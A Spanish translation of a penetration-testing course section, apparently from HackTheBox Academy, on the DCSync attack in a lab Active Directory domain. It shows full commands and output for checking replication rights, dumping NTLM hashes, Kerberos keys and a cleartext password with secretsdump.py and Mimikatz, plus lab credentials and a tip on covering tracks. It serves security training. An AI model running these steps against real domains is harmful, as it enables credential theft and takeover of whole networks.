Saltar a contenido

DCSync

Basado en nuestro trabajo en la sección anterior, ahora tenemos control sobre el usuario adunn, quien tiene privilegios DCSync en el dominio INLANEFREIGHT.LOCAL. Vamos a profundizar en este ataque y repasar ejemplos de cómo aprovecharlo para comprometer el dominio completo desde un host de ataque tanto Linux como Windows.


Scenario Setup

En esta sección, nos moveremos entre un host de ataque Windows y Linux mientras trabajamos en los diversos ejemplos. Puedes iniciar los hosts para esta sección al final de esta sección y RDP en el host de ataque MS01 Windows. Para la parte de esta sección que requiere interacción desde un host Linux (secretsdump.py), puedes abrir una consola de PowerShell en MS01 y hacer SSH a 172.16.5.225 con las credenciales htb-student:HTB_@cademy_stdnt!. Esto también podría hacerse todo desde Windows usando una versión de secretsdump.exe compilada para Windows, ya que hay varios repositorios de GitHub del toolkit Impacket compilados para Windows, o puedes hacerlo como un desafío adicional.


What is DCSync and How Does it Work?

DCSync es una técnica para robar la base de datos de contraseñas de Active Directory utilizando el Directory Replication Service Remote Protocol incorporado, que es utilizado por los Domain Controllers para replicar datos de dominio. Esto permite a un atacante imitar un Domain Controller para recuperar los hashes de contraseña NTLM de los usuarios.

El núcleo del ataque es solicitar a un Domain Controller que replique contraseñas a través del derecho extendido DS-Replication-Get-Changes-All. Este es un derecho de control de acceso extendido dentro de AD, que permite la replicación de datos secretos.

Para realizar este ataque, debes tener control sobre una cuenta que tenga los derechos para realizar la replicación de dominio (un usuario con los permisos Replicating Directory Changes y Replicating Directory Changes All establecidos). Los Domain/Enterprise Admins y los administradores de dominio predeterminados tienen este derecho por defecto.

Viewing adunn's Replication Privileges through ADSI Edit

image

Es común durante una evaluación encontrar otras cuentas que tienen estos derechos, y una vez comprometidas, su acceso puede ser utilizado para recuperar el hash de contraseña NTLM actual para cualquier usuario de dominio y los hashes correspondientes a sus contraseñas anteriores. Aquí tenemos un usuario de dominio estándar al que se le han otorgado los permisos de replicación:

Using Get-DomainUser to View adunn's Group Membership

PS C:\htb> Get-DomainUser -Identity adunn  |select samaccountname,objectsid,memberof,useraccountcontrol |fl


samaccountname     : adunn
objectsid          : S-1-5-21-3842939050-3880317879-2865463114-1164
memberof           : {CN=VPN Users,OU=Security Groups,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL, CN=Shared Calendar
                     Read,OU=Security Groups,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL, CN=Printer Access,OU=Security
                     Groups,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL, CN=File Share H Drive,OU=Security
                     Groups,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL...}
useraccountcontrol : NORMAL_ACCOUNT, DONT_EXPIRE_PASSWORD

PowerView puede ser usado para confirmar que este usuario estándar tiene de hecho los permisos necesarios asignados a su cuenta. Primero obtenemos el SID del usuario en el comando anterior y luego verificamos todos los ACLs establecidos en el objeto de dominio ("DC=inlanefreight,DC=local") usando Get-ObjectAcl para obtener los ACLs asociados con el objeto. Aquí buscamos específicamente derechos de replicación y verificamos si nuestro usuario adunn (denotado en el comando a continuación como $sid) posee estos derechos. El comando confirma que el usuario de hecho tiene los derechos.

Using Get-ObjectAcl to Check adunn's Replication Rights

PS C:\htb> $sid= "S-1-5-21-3842939050-3880317879-2865463114-1164"
PS C:\htb> Get-ObjectAcl "DC=inlanefreight,DC=local" -ResolveGUIDs | ? { ($_.ObjectAceType -match 'Replication-Get')} | ?{$_.SecurityIdentifier -match $sid} |select AceQualifier, ObjectDN, ActiveDirectoryRights,SecurityIdentifier,ObjectAceType | fl

AceQualifier          : AccessAllowed
ObjectDN              : DC=INLANEFREIGHT,DC=LOCAL
ActiveDirectoryRights : ExtendedRight
SecurityIdentifier    : S-1-5-21-3842939050-3880317879-2865463114-498
ObjectAceType         : DS-Replication-Get-Changes

AceQualifier          : AccessAllowed
ObjectDN              : DC=INLANEFREIGHT,DC=LOCAL
ActiveDirectoryRights : ExtendedRight
SecurityIdentifier    : S-1-5-21-3842939050-3880317879-2865463114-516
ObjectAceType         : DS-Replication-Get-Changes-All

AceQualifier          : AccessAllowed
ObjectDN              : DC=INLANEFREIGHT,DC=LOCAL
ActiveDirectoryRights : ExtendedRight
SecurityIdentifier    : S-1-5-21-3842939050-3880317879-2865463114-1164
ObjectAceType         : DS-Replication-Get-Changes-In-Filtered-Set

AceQualifier          : AccessAllowed
ObjectDN              : DC=INLANEFREIGHT,DC=LOCAL
ActiveDirectoryRights : ExtendedRight
SecurityIdentifier    : S-1-5-21-3842939050-3880317879-2865463114-1164
ObjectAceType         : DS-Replication-Get-Changes

AceQualifier          : AccessAllowed
ObjectDN              : DC=INLANEFREIGHT,DC=LOCAL
ActiveDirectoryRights : ExtendedRight
SecurityIdentifier    : S-1-5-21-3842939050-3880317879-2865463114-1164
ObjectAceType         : DS-Replication-Get-Changes-All

Si tuviéramos ciertos derechos sobre el usuario (como WriteDacl), también podríamos agregar este privilegio a un usuario bajo nuestro control, ejecutar el ataque DCSync y luego eliminar los privilegios para intentar cubrir nuestros rastros. La replicación DCSync puede ser realizada usando herramientas como Mimikatz, Invoke-DCSync y secretsdump.py de Impacket. Veamos algunos ejemplos rápidos.

Ejecutar la herramienta como a continuación escribirá todos los hashes en archivos con el prefijo inlanefreight_hashes. La flag -just-dc le dice a la herramienta que extraiga hashes NTLM y claves Kerberos del archivo NTDS.

Extracting NTLM Hashes and Kerberos Keys Using secretsdump.py

secretsdump.py -outputfile inlanefreight_hashes -just-dc INLANEFREIGHT/adunn@172.16.5.5 

Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation

Password:
[*] Target system bootKey: 0x0e79d2e5d9bad2639da4ef244b30fda5
[*] Searching for NTDS.dit
[*] Registry says NTDS.dit is at C:\Windows\NTDS\ntds.dit. Calling vssadmin to get a copy. This might take some time
[*] Using smbexec method for remote execution
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Searching for pekList, be patient
[*] PEK # 0 found and decrypted: a9707d46478ab8b3ea22d8526ba15aa6
[*] Reading and decrypting hashes from \\172.16.5.5\ADMIN$\Temp\HOLJALFD.tmp 
inlanefreight.local\administrator:500:aad3b435b51404eeaad3b435b51404ee:88ad09182de639ccc6579eb0849751cf:::
guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
lab_adm:1001:aad3b435b51404eeaad3b435b51404ee:663715a1a8b957e8e9943cc98ea451b6:::
ACADEMY-EA-DC01$:1002:aad3b435b51404eeaad3b435b51404ee:13673b5b66f699e81b2ebcb63ebdccfb:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:16e26ba33e455a8c338142af8d89ffbc:::
ACADEMY-EA-MS01$:1107:aad3b435b51404eeaad3b435b51404ee:06c77ee55364bd52559c0db9b1176f7a:::
ACADEMY-EA-WEB01$:1108:aad3b435b51404eeaad3b435b51404ee:1c7e2801ca48d0a5e3d5baf9e68367ac:::
inlanefreight.local\htb-student:1111:aad3b435b51404eeaad3b435b51404ee:2487a01dd672b583415cb52217824bb5:::
inlanefreight.local\avazquez:1112:aad3b435b51404eeaad3b435b51404ee:58a478135a93ac3bf058a5ea0e8fdb71:::

<SNIP>

d0wngrade:des-cbc-md5:d6fee0b62aa410fe
d0wngrade:dec-cbc-crc:d6fee0b62aa410fe
ACADEMY-EA-FILE$:des-cbc-md5:eaef54a2c101406d
svc_qualys:des-cbc-md5:f125ab34b53eb61c
forend:des-cbc-md5:e3c14adf9d8a04c1
[*] ClearText password from \\172.16.5.5\ADMIN$\Temp\HOLJALFD.tmp 
proxyagent:CLEARTEXT:Pr0xy_ILFREIGHT!
[*] Cleaning up...

Podemos usar la flag -just-dc-ntlm si solo queremos hashes NTLM o especificar -just-dc-user <USERNAME> para solo extraer datos de un usuario específico. Otras opciones útiles incluyen -pwd-last-set para ver cuándo fue la última vez que se cambió la contraseña de cada cuenta y -history si queremos volcar el historial de contraseñas, lo que puede ser útil para el descifrado de contraseñas offline o como datos complementarios sobre las métricas de fortaleza de las contraseñas del dominio para nuestro cliente. La flag -user-status es otra opción útil para verificar si un usuario está deshabilitado. Podemos volcar los datos de NTDS con esta flag y luego filtrar a los usuarios deshabilitados al proporcionar a nuestro cliente estadísticas de descifrado de contraseñas para asegurarnos de que datos como:

  • Número y % de contraseñas descifradas
  • Las 10 contraseñas principales
  • Métricas de longitud de contraseña
  • Reutilización de contraseñas

reflejen solo cuentas de usuario activas en el dominio.

Si verificamos los archivos creados usando la flag -just-dc, veremos que hay tres: uno que contiene los hashes NTLM, uno que contiene claves Kerberos y uno que contendría contraseñas en texto claro del NTDS para cualquier cuenta configurada con reversible encryption habilitada.

Listing Hashes, Kerberos Keys, and Cleartext Passwords

ls inlanefreight_hashes*

inlanefreight_hashes.ntds  inlanefreight_hashes.ntds.cleartext  inlanefreight_hashes.ntds.kerberos

Aunque raro, vemos cuentas con estas configuraciones de vez en cuando. Normalmente se configuraría para proporcionar soporte a aplicaciones que usan ciertos protocolos que requieren que la contraseña de un usuario se use para fines de autenticación.

Viewing an Account with Reversible Encryption Password Storage Set

image

Cuando esta opción está configurada en una cuenta de usuario, no significa que las contraseñas se almacenen en texto claro. En su lugar, se almacenan usando cifrado RC4. El truco aquí es que la clave necesaria para descifrarlas se almacena en el registro (el Syskey) y puede ser extraída por un Domain Admin o equivalente. Herramientas como secretsdump.py descifrarán cualquier contraseña almacenada usando cifrado reversible mientras se vuelca el archivo NTDS ya sea como un Domain Admin o usando un ataque como DCSync. Si esta configuración está deshabilitada en una cuenta, un usuario necesitará cambiar su contraseña para que se almacene usando cifrado unidireccional. Cualquier contraseña establecida en cuentas con esta configuración habilitada se almacenará usando cifrado reversible hasta que se cambien. Podemos enumerar esto usando el cmdlet Get-ADUser:

Enumerating Further using Get-ADUser

PS C:\htb> Get-ADUser -Filter 'userAccountControl -band 128' -Properties userAccountControl

DistinguishedName  : CN=PROXYAGENT,OU=Service Accounts,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL
Enabled            : True
GivenName          :
Name               : PROXYAGENT
ObjectClass        : user
ObjectGUID         : c72d37d9-e9ff-4e54-9afa-77775eaaf334
SamAccountName     : proxyagent
SID                : S-1-5-21-3842939050-3880317879-2865463114-5222
Surname            :
userAccountControl : 640
UserPrincipalName  :

Podemos ver que una cuenta, proxyagent, tiene la opción de cifrado reversible configurada también con PowerView:

Checking for Reversible Encryption Option using Get-DomainUser

PS C:\htb> Get-DomainUser -Identity * | ? {$_.useraccountcontrol -like '*ENCRYPTED_TEXT_PWD_ALLOWED*'} |select samaccountname,useraccountcontrol

samaccountname                         useraccountcontrol
--------------                         ------------------
proxyagent     ENCRYPTED_TEXT_PWD_ALLOWED, NORMAL_ACCOUNT

Notaremos que la herramienta descifró la contraseña y nos proporcionó el valor en texto claro.

Displaying the Decrypted Password

cat inlanefreight_hashes.ntds.cleartext 

proxyagent:CLEARTEXT:Pr0xy_ILFREIGHT!

He estado en algunos compromisos donde todas las cuentas de usuario se almacenaban usando cifrado reversible. Algunos clientes pueden hacer esto para poder volcar NTDS y realizar auditorías periódicas de fortaleza de contraseñas sin tener que recurrir al descifrado de contraseñas offline.

Podemos realizar el ataque con Mimikatz también. Usando Mimikatz, debemos apuntar a un usuario específico. Aquí apuntaremos a la cuenta de administrador incorporada. También podríamos apuntar a la cuenta krbtgt y usar esto para crear un Golden Ticket para persistencia, pero eso está fuera del alcance de este módulo.

También es importante notar que Mimikatz debe ser ejecutado en el contexto del usuario que tiene privilegios DCSync. Podemos utilizar runas.exe para lograr esto:

Using runas.exe

Microsoft Windows [Version 10.0.17763.107]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>runas /netonly /user:INLANEFREIGHT\adunn powershell
Enter the password for INLANEFREIGHT\adunn:
Attempting to start powershell as user "INLANEFREIGHT\adunn" ...

Desde la sesión de PowerShell recién abierta, podemos realizar el ataque:

Performing the Attack with Mimikatz

PS C:\htb> .\mimikatz.exe

  .#####.   mimikatz 2.2.0 (x64) #19041 Aug 10 2021 17:19:53
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > https://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz # privilege::debug
Privilege '20' OK

mimikatz # lsadump::dcsync /domain:INLANEFREIGHT.LOCAL /user:INLANEFREIGHT\administrator
[DC] 'INLANEFREIGHT.LOCAL' will be the domain
[DC] 'ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL' will be the DC server
[DC] 'INLANEFREIGHT\administrator' will be the user account
[rpc] Service  : ldap
[rpc] AuthnSvc : GSS_NEGOTIATE (9)

Object RDN           : Administrator

** SAM ACCOUNT **

SAM Username         : administrator
User Principal Name  : administrator@inlanefreight.local
Account Type         : 30000000 ( USER_OBJECT )
User Account Control : 00010200 ( NORMAL_ACCOUNT DONT_EXPIRE_PASSWD )
Account expiration   :
Password last change : 10/27/2021 6:49:32 AM
Object Security ID   : S-1-5-21-3842939050-3880317879-2865463114-500
Object Relative ID   : 500

Credentials:
  Hash NTLM: 88ad09182de639ccc6579eb0849751cf

Supplemental Credentials:
* Primary:NTLM-Strong-NTOWF *
    Random Value : 4625fd0c31368ff4c255a3b876eaac3d

<SNIP>

Moving On

En la siguiente sección, veremos algunas formas de enumerar y aprovechar los derechos de acceso remoto que pueden ser otorgados a un usuario que controlamos. Estos métodos incluyen Remote Desktop Protocol (RDP), WinRM (o PsRemoting) y acceso de administrador de SQL Server.